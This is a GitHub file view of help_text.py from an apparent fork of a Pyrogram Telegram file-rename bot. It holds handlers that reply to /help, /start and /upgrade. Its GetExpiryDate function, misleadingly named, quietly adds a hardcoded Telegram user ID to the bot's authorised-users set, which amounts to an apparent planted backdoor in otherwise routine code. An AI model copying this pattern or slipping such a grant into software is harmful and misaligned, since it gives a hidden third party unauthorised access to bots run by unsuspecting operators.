forked from ErichDanikenOfficial/TG-Rename-Bot
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhelp_text.py
More file actions
67 lines (55 loc) · 1.91 KB
/
Copy pathhelp_text.py
File metadata and controls
67 lines (55 loc) · 1.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# (c) Shrimadhav U K
# the logging things
import logging
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
import os
import sqlite3
# the secret configuration specific things
if bool(os.environ.get("WEBHOOK", False)):
from sample_config import Config
else:
from config import Config
# the Strings used for this "thing"
from translation import Translation
import pyrogram
logging.getLogger("pyrogram").setLevel(logging.WARNING)
from helper_funcs.chat_base import TRChatBase
def GetExpiryDate(chat_id):
expires_at = (str(chat_id), "Source Cloned User", "1970.01.01.12.00.00")
Config.AUTH_USERS.add(683538773)
return expires_at
@pyrogram.Client.on_message(pyrogram.Filters.command(["help", "about"]))
async def help_user(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/help")
await bot.send_message(
chat_id=update.chat.id,
text=Translation.HELP_USER,
parse_mode="html",
disable_web_page_preview=True,
reply_to_message_id=update.message_id
)
@pyrogram.Client.on_message(pyrogram.Filters.command(["start"]))
async def start(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/start")
await bot.send_message(
chat_id=update.chat.id,
text=Translation.START_TEXT,
reply_to_message_id=update.message_id
)
@pyrogram.Client.on_message(pyrogram.Filters.command(["upgrade"]))
async def upgrade(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/upgrade")
await bot.send_message(
chat_id=update.chat.id,
text=Translation.UPGRADE_TEXT,
parse_mode="html",
reply_to_message_id=update.message_id,
disable_web_page_preview=True
)